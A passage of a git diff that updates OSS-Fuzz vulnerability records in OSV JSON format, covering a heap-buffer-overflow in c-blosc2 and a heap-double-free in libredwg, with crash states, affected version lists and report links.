state:\nndlz8_decompress\nblosc_d\ndo_job\n```\n","affected":[{"package":{"name":"c-blosc2","ecosystem":"OSS-Fuzz","purl":"pkg:generic/c-blosc2"},"ranges":[{"type":"GIT","repo":"https://github.com/Blosc/c-blosc2.git","events":[{"introduced":"1c9795f2e3e04a79f13d9e7658e6d6e47dfe1cc4"}]}],"versions":["v2.0.0","v2.0.1","v2.0.2","v2.0.3","v2.0.4","v2.1.0","v2.1.1","v2.2.0","v2.3.0","v2.3.1","v2.4.0","v2.4.1","v2.4.2","v2.4.3","v2.5.0","v2.6.0","v2.6.1","v2.7.0","v2.7.1","v2.8.0","v2.9.0","v2.9.1","v2.9.2","v2.9.3","v2.10.0","v2.10.1","v2.10.2","v2.10.3","v2.10.4","v2.10.5","v2.11.0","v2.11.1","v2.11.2","v2.11.3","v2.12.0","v2.13.0","v2.13.1","v2.13.2","v2.14.0","v2.14.1","v2.14.2","v2.14.3","v2.14.4","v2.15.0","v2.15.1","v2.15.2","v2.16.0","v2.17.0","v2.17.1","v2.18.0","v2.19.0","v2.19.1","v2.20.0","v2.21.0","v2.21.1","v2.21.2","v2.21.3","v2.22.0","v2.23.0","v2.23.1","v3.0.0.rc1","v3.0.0.rc2","v3.0.0","v3.0.1","v3.0.2","v3.0.3","v3.1.0","v3.1.1","v3.1.2","v3.1.3","v3.1.4","v3.1.5","v3.2.0","v3.2.1","v3.2.2","v3.2.3","v3.3.0","v3.3.1","v3.3.2","v3.3.3","v3.3.4","v3.3.5","v3.4.0","v3.4.1","v3.5.0","v3.6.0","v3.6.1"],"ecosystem_specific":{"severity":"MEDIUM"},"database_specific":{"source":"https://github.com/google/oss-fuzz-vulns/blob/main/vulns/c-blosc2/OSV-2022-1134.yaml"}}],"references":[{"type":"REPORT","url":"https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=52967"}]} \ No newline at end of file +{"schema_version":"1.9.2","id":"OSV-2022-1134","published":"2022-11-04T00:02:11.463429Z","modified":"2026-11-12T14:30:04.156546976Z","summary":"Heap-buffer-overflow in ndlz8_decompress","details":"OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=52967\n\n```\nCrash type: Heap-buffer-overflow READ 1\nCrash state:\nndlz8_decompress\nblosc_d\ndo_job\n```\n","affected":[{"package":{"name":"c-blosc2","ecosystem":"OSS-Fuzz","purl":"pkg:generic/c-blosc2"},"ranges":[{"type":"GIT","repo":"https://github.com/Blosc/c-blosc2.git","events":[{"introduced":"1c9795f2e3e04a79f13d9e7658e6d6e47dfe1cc4"}]}],"versions":["v2.0.0","v2.0.1","v2.0.2","v2.0.3","v2.0.4","v2.1.0","v2.1.1","v2.2.0","v2.3.0","v2.3.1","v2.4.0","v2.4.1","v2.4.2","v2.4.3","v2.5.0","v2.6.0","v2.6.1","v2.7.0","v2.7.1","v2.8.0","v2.9.0","v2.9.1","v2.9.2","v2.9.3","v2.10.0","v2.10.1","v2.10.2","v2.10.3","v2.10.4","v2.10.5","v2.11.0","v2.11.1","v2.11.2","v2.11.3","v2.12.0","v2.13.0","v2.13.1","v2.13.2","v2.14.0","v2.14.1","v2.14.2","v2.14.3","v2.14.4","v2.15.0","v2.15.1","v2.15.2","v2.16.0","v2.17.0","v2.17.1","v2.18.0","v2.19.0","v2.19.1","v2.20.0","v2.21.0","v2.21.1","v2.21.2","v2.21.3","v2.22.0","v2.23.0","v2.23.1","v3.0.0.rc1","v3.0.0.rc2","v3.0.0","v3.0.1","v3.0.2","v3.0.3","v3.1.0","v3.1.1","v3.1.2","v3.1.3","v3.1.4","v3.1.5","v3.2.0","v3.2.1","v3.2.2","v3.2.3","v3.3.0","v3.3.1","v3.3.2","v3.3.3","v3.3.4","v3.3.5","v3.4.0","v3.4.1","v3.5.0","v3.6.0","v3.6.1","v3.6.2"],"ecosystem_specific":{"severity":"MEDIUM"},"database_specific":{"source":"https://github.com/google/oss-fuzz-vulns/blob/main/vulns/c-blosc2/OSV-2022-1134.yaml"}}],"references":[{"type":"REPORT","url":"https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=52967"}]} \ No newline at end of file diff --git a/data/OSS-Fuzz/OSV-2022-1176.json b/data/OSS-Fuzz/OSV-2022-1176.json index 5128fec4b1..d2657bbe32 100644 --- a/data/OSS-Fuzz/OSV-2022-1176.json +++ b/data/OSS-Fuzz/OSV-2022-1176.json @@ -1 +1 @@ -{"schema_version":"1.9.2","id":"OSV-2022-1176","published":"2022-11-18T13:00:26.857477Z","modified":"2026-11-11T14:30:03.225734879Z","summary":"Heap-double-free in dwg_free","details":"OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=53483\n\n```\nCrash type: Heap-double-free\nCrash state:\ndwg_free\nllvmfuzz.c\ndwg_free\n```\n","affected":[{"package":{"name":"libredwg","ecosystem":"OSS-Fuzz","purl":"pkg:generic/libredwg"},"ranges":[{"type":"GIT","repo":"https://github.com/LibreDWG/libredwg","events":[{"introduced":"2d4a473b670848fe9aac2fde249964d1ed9ba97e"}]}],"versions":["0.12.4.4590","0.12.4.4598","0.12.4.4601","0.12.4.4606","0.12.4.4607","0.12.4.4608","0.12.4.4613","0.12.4.4615","0.12.4.4635","0.12.4.4637","0.12.4.4641","0.12.4.4643","0.12.4.4647","0.12.4.4652","0.12.4.4654","0.12.4.4658","0.12.4.4660","0.12.4.4668","0.12.5.4669","0.12.5.4678","0.12.5.4685","0.12.5.4690","0.12.5.4693","0.12.5.4695","0.12.5.4697","0.12.5.4700","0.12.5.4709","0.12.5.4712","0.12.5.4715","0.12.5.4722","0.12.5.4724","0.12.5.4726","0.12.5.4731","0.12.5.4735","0.12.5.4739","0.12.5.4741","0.12.5.4743","0.12.5.4748","0.12.5.4750","0.12.5.4756","0.12.5.4760","0.12.5.4763","0.12.5.4765","0.12.5.4772","0.12.5.4776","0.12.5.4780","0.12.5.4784","0.12.5.4787","0.12.5.4797","0.12.5.4803","0.12.5.4805","0.12.5.4815","0.12.5.4820","0.12.5.4823","0.12.5.4825","0.12.5.4831","0.12.5.4833","0.12.5.4835","0.12.5.4837","0.12.5.4838","0.12.5.4852","0.12.5.4859","0.12.5.4865","0.12.5.4873","0.12.5.4881","0.12.5.4885","0.12.5.4887","0.12.5.4890","0.12.5.4893","0.12.5.4896","0.12.5.4911","0.12.5.4913","0.12.5.4915","0.12.5.4925","0.12.5.4931","0.12.5.4934","0.12.5.4937","0.12.5.4943","0.12.5.4944","0.12.5.4945","0.12.5.4959","0.12.5.4969","0.12.5.4998","0.12.5.5001","0.12.5.5002","0.12.5.5004","0.12.5.5007","0.12.5.5010","0.12.5.5016","0.12.5.5024","0.12.5.5028","0.12.5.5030","0.12.5.5035","0.12.5.5040","0.12.5.5044","0.12.5.5046","0.12.5.5050","0.12.5.5052","0.12.5.5060","0.12.5.5061","0.12.5.5066","0.12.5.5085","0.12.5.5091","0.12.5.5092","0.12.5.5093","0.12.5.5094","0.12.5.5095","0.12.5.5097","0.12.5.5101","0.12.5.5103","0.12.5.5104","0.12.5.5111","0.12.5.5122","0.12.5.5135","0.12.5.5137","0.12.5.5140","0.12.5.5142","0.12.5.5161","0.12.5.5163","0.12.5.5169","0.12.5.5170","0.12.5.5178","0.12.5.5179","0.12.5.5182","0.12.5.5183","0.12.5.5184","0.12.5.5185","0.12.5.5186","0.12.5.5195","0.12.5.5203","0.12.5.5206","0.12.5.5207","0.12.5.5227","0.12.5.5245","0.12.5.5249","0.12.5.5256","0.12.5.5269","0.12.5.5270","0.12.5.5271","0.12.5.5288","0.12.5.5314","0.12.5.5320","0.12.5.5329","0.12.5.5333","0.12.5.5334","0.12.5.5340","0.12.5.5342","0.12.5.5344","0.12.5.5348","0.12.5.5353","0.12.5.5356","0.12.5.5364","0.12.5.5377","0.12.5.5385","0.12.5.5391","0.12.5.5393","0.12.5.5395","0.12.5.5396","0.12.5.5405","0.12.5.5411","0.12.5.5415","0.12.5.5417","0.12.5.5422","0.12.5.5429","0.12.5.5432","0.12.5.5435","0.12.5.5439","0.12.5.5442","0.12.5.5445","0.12.5.5454","0.12.5.5458","0.12.5.5462","0.12.5.5465","0.12.5.5469","0.12.5.5471","0.12.5.5473","0.12.5.5474","0.12.5.5487","0.12.5.5494","0.12.5.5504","0.12.5.5506","0.12.5.5513","0.12.5.5516","0.12.5.5518","0.12.5.5521","0.12.5.5528","0.12.5.5530","0.12.5.5537","0.12.5.5539","0.12.5.5544","0.12.5.5546","0.12.5.5549","0.12.5.5552","0.12.5.5554","0.12.5.5557","0.12.5.5560","0.12.5.5563","0.12.5.5570","0.12.5.5577","0.12.5.5584","0.12.5.5625","0.12.5.5646","0.12.5.5648","0.12.5.5654","0.12.5.5656","0.12.5.5660","0.12.5.5663","0.12.5.5666","0.12.5.5667","0.12.5.5668","0.12.5.5671","0.12.5.5688","0.12.5.5691","0.12.5.5697","0.12.5.5700","0.12.5.5708","0.12.5.5710","0.12.5.5712","0.12.5.5713","0.12.5.5716","0.12.5.5720","0.12.5.5721","0.12.5.5725","0.12.5.5731","0.12.5.5733","0.12.5.5741","0.12.5.5745","0.12.5.5746","0.12.5.5748","0.12.5.5751","0.12.5.5754","0.12.5.5759","0.12.5.5761","0.12.5.5764","0.12.5.5772","0.12.5.5779","0.12.5.5784","0.12.5.5787","0.12.5.5789","0.12.5.5793","0.12.5.5796","0.12.5.5799","0.12.5.5802","0.12.5.5804","0.12.5.5806","0.12.5.5809","0.12.5.5811","0.12.5.5813","0.12.5.5822","0.12.5.5827","0.12.5.5830","0.12.5.5832","0.12.5.5837","0.12.5.5845","0.12.5.5852","0.12.5.5856","0.12.5.5859","0.12.5.5862","0.12.5.5865","0.12.5.5870","0.12.5.5875","0.12.5.5877","0.12.5.5882","0.12.5.5885","0.12.5.5887","0.12.5.5889","0.12.5.5894","0.12.5.5898","0.12.5.5903","0.12.5.5907","0.12.5.5914","0.12.5.5915","0.12.5.5922","0.12.5.5949","0.12.5.5953","0.12.5.5959","0.12.5.5962","0.12.5.5968","0.12.5.5970","0.12.5.5971","0.12.5.5975","0.12.5.5982","0.12.5.6001","0.12.5.6004","0.12.5.6010","0.12.5.6013","0.12.5.6016","0.12.5.6019","0.12.5.6022","0.12.5.6023","0.12.5.6027","0.12.5.6033","0.12.5.6037","0.12.5.6040","0.12.5.6043","0.12.5.6044","0.12.5.6046","0.12.5.6055","0.12.5.6057","0.12.5.6068","0.12.5.6076","0.12.5.6077","0.12.5.6078","0.12.5.6080","0.12.5.6090","0.12.5.6096","0.12.5.6102","0.12.5.6109","0.12.5.6111","0.12.5.6113","0.12.5.6116","0.12.5.6118","0.12.5.6121","0.12.5.6127","0.12.5.6128","0.12.5.6133","0.12.5.6135","0.12.5.6138","0.12.5.6147","0.12.5.6149","0.12.5.6157","0.12.5.6160","0.12.5.6162","0.12.5.6164","0.12.5.6169","0.12.5.6171","0.12.5.6173","0.12.5.6183","0.12.5.6187","0.12.5.6191","0.12.5.6194","0.12.5.6199","0.12.5.6203","0.12.5.6205","0.12.5.6209","0.12.5.6214","0.12.5.6216","0.12.5.6220","0.12.5.6226","0.12.5.6229","0.12.5.6231","0.12.5.6236","0.12.5.6241","0.12.5.6243","0.12.5.6245","0.12.5.6248","0.12.5.6253","0.12.5.6257","0.12.5.6263","0.12.5.6269","0.12.5.6271","0.12.5.6277","0.12.5.6279","0.12.5.6285","0.12.5.6294","0.12.5.6302","0.12.5.6306","0.12.5.6310","0.12.5.6313","0.12.5.6316","0.12.5.6319","0.12.5.6321","0.12.5.6325","0.12.5.6333","0.12.5.6342","0.12.5.6347","0.12.5.6350","0.12.5.6355","0.12.5.6357","0.12.5.6360","0.12.5.6362","0.12.5.6366","0.12.5.6369","0.12.5.6374","0.12.5.6377","0.12.5.6384","0.12.5.6388","0.12.5.6391","0.12.5.6394","0.12.5.6399","0.12.5.6402","0.12.5.6406","0.12.5.6417","0.12.5.6424","0.12.5.6430","0.12.5.6432","0.12.5.6434","0.12.5.6437","0.12.5.6439","0.12.5.6444","0.12.5.6456","0.12.5.6459","0.12.5.6461","0.12.5.6465","0.12.5.6468","0.12.5.6479","0.12.5.6483","0.12.5.6488","0.12.5.6493","0.12.5.6495","0.12.5.6501","0.12.5.6511","0.12.5.6513","0.12.5.6517","0.12.5.6527","0.12.5.6533","0.12.5.6534","0.12.5.6539","0.12.5.6543","0.12.5.6548","0.12.5.6550","0.12.5.6564","0.12.5.6573","0.12.5.6578","0.12.5.6582","0.12.5.6585","0.12.5.6588","0.12.5.6597","0.12.5.6599","0.12.5.6605","0.12.5.6609","0.12.5.6612","0.12.5.6619","0.12.5.6622","0.12.5.6627","0.12.5.6630","0.12.5.6638","0.12.5.6640","0.12.5.6652","0.12.5.6653","0.12.5.6661","0.12.5.6664","0.12.5.6670","0.12.5.6677","0.12.5.6682","0.12.5.6688","0.12.5.6697","0.12.5.6701","0.12.5.6709","0.12.5.6714","0.12.5.6717","0.12.5.6726","0.12.5.6735","0.12.5.6739","0.12.5.6754","0.12.5.6756","0.12.5.6768","0.12.5.6776","0.12.5.6785","0.12.5.6792","0.12.5.6802","0.12.5.6811","0.12.5.6819","0.12.5.6828","0.12.5.6836","0.12.5.6843","0.12.5.6851","0.12.5.6865","0.12.5.6872","0.12.5.6891","0.12.5.6912","0.12.5.6915","0.12.5.6924","0.12.5.6926","0.12.5.6932","0.12.5.6938","0.12.5.6939","0.12.5.6945","0.12.5.6948","0.12.5.6953","0.12.5.6958","0.12.5.6962","0.12.5.6971","0.12.5.6973","0.12.5.6979","0.12.5.6984","0.12.5.6987","0.12.5.6992","0.12.5.6996","0.13","0.13.0.7003","0.13.0.7011","0.13.0.7013","0.13.0.7031","0.13.0.7036","0.13.0.7045","0.13.0.7047","0.13.0.7050","0.13.0.7060","0.13.0.7066","0.13.0.7072","0.13.0.7081","0.13.1","0.13.1.7087","0.13.2","0.13.2.7111","0.13.2.7114","0.13.2.7117","0.13.2.7125","0.13.2.7142","0.13.2.7151","0.13.2.7153","0.13.2.7154","0.13.3","0.13.3.7163","0.13.3.7165","0.13.3.7166","0.13.3.7168","0.13.3.7176","0.13.3.7183","0.13.3.7186","0.13.3.7187","0.13.3.7190","0.13.3.7199","0.13.3.7217","0.13.3.7220","0.13.3.7223","0.13.3.7224","0.13.3.7225","0.13.3.7226","0.13.3.7227","0.13.3.7233","0.13.3.7240","0.13.3.7246","0.13.3.7251","0.13.3.7257","0.13.3.7259","0.13.3.7262","0.13.3.7264","0.13.3.7265","0.13.3.7268","0.13.3.7270","0.13.3.7273","0.13.3.7298","0.13.3.7306","0.13.3.7308","0.13.3.7311","0.13.3.7320","0.13.3.7324","0.13.3.7327","0.13.3.7338","0.13.3.7341","0.13.3.7344","0.13.3.7345","0.13.3.7351","0.13.3.7371","0.13.3.7377","0.13.3.7385","0.13.3.7405","0.13.3.7409","0.13.3.7411","0.13.3.7412","0.13.3.7414","0.13.3.7420","0.13.3.7424","0.13.3.7426","0.13.3.7429","0.13.3.7431","0.13.3.7434","0.13.3.7437","0.13.3.7442","0.13.3.7445","0.13.3.7453","0.13.3.7456","0.13.3.7460","0.13.3.7466","0.13.3.7469","0.13.3.7472","0.13.3.7473","0.13.3.7483","0.13.3.7491","0.13.3.7501","0.13.3.7507","0.13.3.7516","0.13.3.7533","0.13.3.7534","0.13.3.7535","0.13.3.7539","0.13.3.7545","0.13.3.7551","0.13.3.7552","0.13.3.7554","0.13.3.7557","0.13.3.7558","0.13.3.7562","0.13.3.7571","0.13.3.7574","0.13.3.7577","0.13.3.7582","0.13.3.7599","0.13.3.7600","0.13.3.7603","0.13.3.7635","0.13.3.7637","0.13.3.7640","0.13.3.7646","0.13.3.7649","0.13.3.7650","0.13.3.7657","0.13.3.7663","0.13.3.7665","0.13.3.7675","0.13.3.7680","0.13.3.7685","0.13.3.7686","0.13.3.7690","0.13.3.7696","0.13.3.7702","0.13.3.7715","0.13.3.7721","0.13.3.7727","0.13.3.7730","0.13.3.7737","0.13.3.7741","0.13.3.7743","0.13.3.7752","0.13.3.7761","0.13.3.7763","0.13.3.7772","0.13.3.7776","0.13.3.7778","0.13.3.7789","0.13.3.7792","0.13.3.7794","0.13.3.7797","0.13.3.7802","0.13.3.7805","0.13.3.7808","0.13.3.7810","0.13.3.7812","0.13.3.7813","0.13.3.7816","0.13.3.7819","0.13.3.7825","0.13.3.7828","0.13.3.7835","0.13.3.7842","0.13.3.7846","0.13.3.7848","0.13.3.7849","0.13.3.7850","0.13.3.7851","0.13.3.7852","0.13.3.7861","0.13.3.7867","0.13.3.7873","0.13.3.7883","0.13.3.7897","0.13.3.7901","0.13.3.7906","0.13.3.7913","0.13.3.7918","0.13.3.7928","0.13.3.7932","0.13.4.7951","0.13.4.7953","0.13.4.7958","0.13.4.7963","0.13.4.7964","0.13.4","0.13.4.7969","0.13.4.7974","0.13.4.7976","0.13.4.7985","0.13.4.7998","0.13.4.8001","0.13.4.8014","0.13.4.8018","0.13.4.8028","0.13.4.8029","0.13.4.8036","0.13.4.8043","0.13.4.8051","0.13.4.8055","0.13.4.8085","0.13.4.8091","0.13.4.8104","0.13.4.8112","0.13.4.8115","0.13.4.8118","0.13.4.8123","0.13.4.8129","0.13.4.8131","0.13.4.8140","0.13.4.8144","0.13.4.8149","0.13.4.8160","0.13.4.8163","0.13.4.8166","0.13.4.8168","0.13.4.8169","0.13.4.8171","0.13.4.8174","0.13.4.8178","0.13.4.8187","0.13.4.8198","0.13.4.8200","0.13.4.8214","0.13.4.8216","0.13.4.8229","0.13.4.8230","0.13.4.8231","0.13.4.8234","0.13.4.8236","0.13.4.8237","0.13.4.8241","0.13.4.8246","0.13.4.8249","0.13.4.8252","0.13.4.8263","0.13.4.8268","0.13.4.8270","0.13.4.8273","0.13.4.8278","0.13.4.8284","0.13.4.8285","0.13.4.8293","0.13.4.8294","0.13.4.8295","0.13.4.8302","0.13.4.8304","0.13.4.8313","0.13.4.8317","0.13.4.8321","0.13.4.8336","0.13.4.8343","0.13.4.8348","0.13.4.8351","0.13.4.8356","0.13.4.8360","0.14","0.14.8363","0.14.8367","0.14.8374","0.14.8384","0.14.8390","0.14.8394","0.14.8396","0.14.8403","0.14.8406","0.14.8411","0.14.8413","0.14.8415","0.14.8418","0.14.8421","0.14.8433","0.14.8447","0.14.8460","0.14.8464","0.14.8465","0.14.8471","0.14.8487","0.14.8488","0.14.8492","0.14.8522","0.14.8531","0.14.8544","0.14.8547","0.14.8553","0.14.8554","0.14.8556","0.14.8561","0.14.8566","0.14.8578","0.14.8580","0.14.8583","0.14.8584","0.14.8585","0.14.8590","0.14.8592","0.14.8593","0.14.8594","0.14.8597","0.14.8599","0.14.8600","0.14.8601","0.14.8607","0.14.8608","0.14.8612","0.14.8622","0.14.8623","0.14.8625","0.14.8630","0.14.8635","0.14.8639","0.14.8641","0.14.8654","0.14.8656","0.14.8676","0.14.8679","0.14.8726","0.14.8739","0.14.8744","0.14.8750","0.14.8755","0.14.8758","0.14.8761","0.14.8768","0.14.8815","0.14.8823","0.14.8829","0.14.8838","0.14.8841","0.14.8847","0.14.8848","0.14.8850","0.14.8857","0.14.8869","0.14.8878","0.14.8887","0.14.8893","0.14.8907","0.14.8913","0.14.8922","0.14.8927","0.14.8931","0.14.8933","0.14.8936"],"ecosystem_specific":{"severity":"HIGH"},"database_specific":{"source":"https://github.com/google/oss-fuzz-vulns/blob/main/vulns/libredwg/OSV-2022-1176.yaml"}}],"references":[{"type":"REPORT","url":"https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=53483"}]} \ No newline at end of file +{"schema_version":"1.9.2","id":"OSV-2022-1176","published":"2022-11-18T13:00:26.857477Z","modified":"2026-11-12T14:30:06.189452477Z","summary":"Heap-double-free in dwg_free","details":"OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=53483\n\n```\nCrash type: Heap-double-free\nCrash state:\ndwg_free\nllvmfuzz.c\ndwg_free\n```\n","affected":[{"package":{"name":"libredwg","ecosystem":"OSS-Fuzz","purl":"pkg:generic/libredwg"},"ranges":[{"type":"GIT","repo":"https://github.com/LibreDWG/libredwg","events":[{"introduced":"2d4a473b670848fe9aac2fde249964d1ed9ba97e"}]}],"versions":["0.12.4.4590","0.12.4.4598","0.12.4.4601","0.12.4.4606","0.12.4.4607","0.12.4.4608","0.12.4.4613","0.12.4.4615","0.12.4.4635","0.12.4.4637","0.12.4.4641","0.12.4.4643","0.12.4.4647","0.12.4.4652","0.12.4.4654","0.12.4.4658","0.12.4.4660","0.12.4.4668","0.12.5.4669","0.12.5.4678","0.12.5.4685","0.12.5.4690","0.12.5.4693","0.12.5.4695","0.12.5.4697","0.12.5.4700","0.12.5.4709","0.12.5.4712","0.12.5.4715","0.12.5.4722","0.12.5.4724","0.12.5.4726","0.12.5.4731","0.12.5.4735","0.12.5.4739","0.12.5.4741","0.12.5.4743","0.12.5.4748","0.12.5.4750","0.12.5.4756","0.12.5.4760","0.12.5.4763","0.12.5.4765","0.12.5.4772","0.12.5.4776","0.12.5.4780","0.12.5.4784","0.12.5.4787","0.12.5.4797","0.12.5.4803","0.12.5.4805","0.12.5.4815","0.12.5.4820","0.12.5.4823","0.12.5.4825","0.12.5.4831","0.12.5.4833","0.12.5.4835","0.12.5.4837","0.12.5.4838","0.12.5.4852","0.12.5.4859","0.12.5.4865","0.12.5.4873","0.12.5.4881","0.12.5.4885","0.12.5.4887","0.12.5.4890","0.12.5.4893","0.12.5.4896","0.12.5.4911","0.12.5.4913","0.12.5.4915","0.12.5.4925","0.12.5.4931","0.12.5.4934","0.12.5.4937","0.12.5.4943","0.12.5.4944","0.12.5.4945","0.12.5.4959","0.12.5.4969","0.12.5.4998","0.12.5.5001","0.12.5.5002","0.12.5.5004","0.12.5.5007","0.12.5.5010","0.12.5.5016","0.12.5.5024","0.12.5.5028","0.12.5.5030","0.12.5.5035","0.12.5.5040","0.12.5.5044","0.12.5.5046","0.12.5.5050","0.12.5.5052","0.12.5.5060","0.12.5.5061","0.12.5.5066","0.12.5.5085","0.12.5.5091","0.12.5.5092","0.12.5.5093","0.12.5.5094","0.12.5.5095","0.12.5.5097","0.12.5.5101","0.12.5.5103","0.12.5.5104","0.12.5.5111","0.12.5.5122","0.12.5.5135","0.12.5.5137","0.12.5.5140","0.12.5.5142","0.12.5.5161","0.12.5.5163","0.12.5.5169","0.12.5.5170","0.12.5.5178","0.12.5.5179","0.12.5.5182","0.12.5.5183","0.12.5.5184","0.12.5.5185","0.12.5.5186","0.12.5.5195","0.12.5.5203","0.12.5.5206","0.12.5.5207","0.12.5.5227","0.12.5.5245","0.12.5.5249","0.12.5.5256","0.12.5.5269","0.12.5.5270","0.12.5.5271","0.12.5.5288","0.12.5.5314","0.12.5.5320","0.12.5.5329","0.12.5.5333","0.12.5.5334","0.12.5.5340","0.12.5.5342","0.12.5.5344","0.12.5.5348","0.12.5.5353","0.12.5.5356","0.12.5.5364","0.12.5.5377","0.12.5.5385","0.12.5.5391","0.12.5.5393","0.12.5.5395","0.12.5.5396","0.12.5.5405","0.12.5.5411","0.12.5.5415","0.12.5.5417","0.12.5.5422","0.12.5.5429","0.12.5.5432","0.12.5.5435","0.12.5.5439","0.12.5.5442","0.12.5.5445","0.12.5.5454","0.12.5.5458","0.12.5.5462","0.12.5.5465","0.12.5.5469","0.12.5.5471","0.12.5.5473","0.12.5.5474","0.12.5.5487","0.12.5.5494","0.12.5.5504","0.12.5.5506","0.12.5.5513","0.12.5.5516","0.12.5.5518","0.12.5.5521","0.12.5.5528","0.12.5.5530","0.12.5.5537","0.12.5.5539","0.12.5.5544","0.12.5.5546","0.12.5.5549","0.12.5.5552","0.12.5.5554","0.12.5.5557","0.12.5.5560","0.12.5.5563","0.12.5.5570","0.12.5.5577","0.12.5.5584","0.12.5.5625","0.12.5.5646","0.12.5.5648","0.12.5.5654","0.12.5.5656","0.12.5.5660","0.12.5.5663","0.12.5.5666","0.12.5.5667","0.12.5.5668","0.12.5.5671","0.12.5.5688","0.12.5.5691","0.12.5.5697","0.12.5.5700","0.12.5.5708","0.12.5.5710","0.12.5.5712","0.12.5.5713","0.12.5.5716","0.12.5.5720","0.12.5.5721","0.12.5.5725","0.12.5.5731","0.12.5.5733","0.12.5.5741","0.12.5.5745","0.12.5.5746","0.12.5.5748","0.12.5.5751","0.12.5.5754","0.12.5.5759","0.12.5.5761","0.12.5.5764","0.12.5.5772","0.12.5.5779","0.12.5.5784","0.12.5.5787","0.12.5.5789","0.12.5.5793","0.12.5.5796","0.12.5.5799","0.12.5.5802","0.12.5.5804","0.12.5.5806","0.12.5.5809","0.12.5.5811","0.12.5.5813","0.12.5.5822","0.12.5.5827","0.12.5.5830","0.12.5.5832","0.12.5.5837","0.12.5.5845","0.12.5.5852","0.12.5.5856","0.12.5.5859","0.12.5.5862","0.12.5.5865","0.12.5.5870","0.12.5.5875","0.12.5.5877","0.12.5.5882","0.12.5.5885","0.12.5.5887","0.12.5.5889","0.12.5.5894","0.12.5.5898","0.12.5.5903","0.12.5.5907","0.12.5.5914","0.12.5.5915","0.12.5.5922","0.12.5.5949","0.12.5.5953","0.12.5.5959","0.12.5.5962","0.12.5.5968","0.12.5.5970","0.12.5.5971","0.12.5.5975","0.12.5.5982","0.12.5.6001","0.12.5.6004","0.12.5.6010","0.12.5.6013","0.12.5.6016","0.12.5.6019","0.12.5.6022","0.12.5.6023","0.12.5.6027","0.12.5.6033","0.12.5.6037","0.12.5.6040","0.12.5.6043","0.12.5.6044","0.12.5.6046","0.12.5.6055","0.12.5.6057","0.12.5.6068","0.12.5.6076","0.12.5.6077","0.12.5.6078","0.12.5.6080","0.12.5.6090","0.12.5.6096","0.12.5.6102","0.12.5.6109","0.12.5.6111","0.12.5.6113","0.12.5.6116","0.12.5.6118","0.12.5.6121","0.12.5.6127","0.12.5.6128","0.12.5.6133","0.12.5.6135","0.12.5.6138","0.12.5.6147","0.12.5.6149","0.12.5.6157","0.12.5.6160","0.12.5.6162","0.12.5.6164","0.12.5.6169","0.12.5.6171","0.12.5.6173","0.12.5.6183","0.12.5.6187","0.12.5.6191","0.12.5.6194","0.12.5.6199","0.12.5.6203","0.12.5.6205","0.12.5.6209","0.12.5.6214","0.12.5.6216","0.12.5.6220","0.12.5.6226","0.12.5.6229","0.12.5.6231","0.12.5.6236","0.12.5.6241","0.12.5.6243","0.12.5.6245","0.12.5.6248","0.12.5.6253","0.12.5.6257","0.12.5.6263","0.12.5.6269","0.12.5.6271","0.12.5.6277","0.12.5.6279","0.12.5.6285","0.12.5.6294","0.12.5.6302","0.12.5.6306","0.12.5.6310","0.12.5.6313","0.12.5.6316","0.12.5.6319","0.12.5.6321","0.12.5.6325","0.12.5.6333","0.12.5.6342","0.12.5.6347","0.12.5.6350","0.12.5.6355","0.12.5.6357","0.12.5.6360","0.12.5.6362","0.12.5.6366","0.12.5.6369","0.12.5.6374","0.12.5.6377","0.12.5.6384","0.12.5.6388","0.12.5.6391","0.12.5.6394","0.12.5.6399","0.12.5.6402","0.12.5.6406","0.12.5.6417","0.12.5.6424","0.12.5.6430","0.12.5.6432","0.12.5.6434","0.12.5.6437","0.12.5.6439","0.12.5.6444","0.12.5.6456","0.12.5.6459","0.12.5.6461","0.12.5.6465","0.12.5.6468","0.12.5.6479","0.12.5.6483","0.12.5.6488","0.12.5.6493","0.12.5.6495","0.12.5.6501","0.12.5.6511","0.12.5.6513","0.12.5.6517","0.12.5.6527","0.12.5.6533","0.12.5.6534","0.12.5.6539","0.12.5.6543","0.12.5.6548","0.12.5.6550","0.12.5.6564","0.12.5.6573","0.12.5.6578","0.12.5.6582","0.12.5.6585","0.12.5.6588","0.12.5.6597","0.12.5.6599","0.12.5.6605","0.12.5.6609","0.12.5.6612","0.12.5.6619","0.12.5.6622","0.12.5.6627","0.12.5.6630","0.12.5.6638","0.12.5.6640","0.12.5.6652","0.12.5.6653","0.12.5.6661","0.12.5.6664","0.12.5.6670","0.12.5.6677","0.12.5.6682","0.12.5.6688","0.12.5.6697","0.12.5.6701","0.12.5.6709","0.12.5.6714","0.12.5.6717","0.12.5.6726","0.12.5.6735","0.12.5.6739","0.12.5.6754","0.12.5.6756","0.12.5.6768","0.12.5.6776","0.12.5.6785","0.12.5.6792","0.12.5.6802","0.12.5.6811","0.12.5.6819","0.12.5.6828","0.12.5.6836","0.12.5.6843","0.12.5.6851","0.12.5.6865","0.12.5.6872","0.12.5.6891","0.12.5.6912","0.12.5.6915","0.12.5.6924","0.12.5.6926","0.12.5.6932","0.12.5.6938","0.12.5.6939","0.12.5.6945","0.12.5.6948","0.12.5.6953","0.12.5.6958","0.12.5.6962","0.12.5.6971","0.12.5.6973","0.12.5.6979","0.12.5.6984","0.12.5.6987","0.12.5.6992","0.12.5.6996","0.13","0.13.0.7003","0.13.0.7011","0.13.0.7013","0.13.0.7031","0.13.0.7036","0.13.0.7045","0.13.0.7047","0.13.0.7050","0.13.0.7060","0.13.0.7066","0.13.0.7072","0.13.0.7081","0.13.1","0.13.1.7087","0.13.2","0.13.2.7111","0.13.2.7114","0.13.2.7117","0.13.2.7125","0.13.2.7142","0.13.2.7151","0.13.2.7153","0.13.2.7154","0.13.3","0.13.3.7163","0.13.3.7165","0.13.3.7166","0.13.3.7168","0.13.3.7176","0.13.3.7183","0.13.3.7186","0.13.3.7187","0.13.3.7190","0.13.3.7199","0.13.3.7217","0.13.3.7220","0.13.3.7223","0.13.3.7224","0.13.3.7225","0.13.3.7226","0.13.3.7227","0.13.3.7233","0.13.3.7240","0.13.3.7246","0.13.3.7251","0.13.3.7257","0.13.3.7259","0.13.3.7262","0.13.3.7264","0.13.3.7265","0.13.3.7268","0.13.3.7270","0.13.3.7273","0.13.3.7298","0.13.3.7306","0.13.3.7308","0.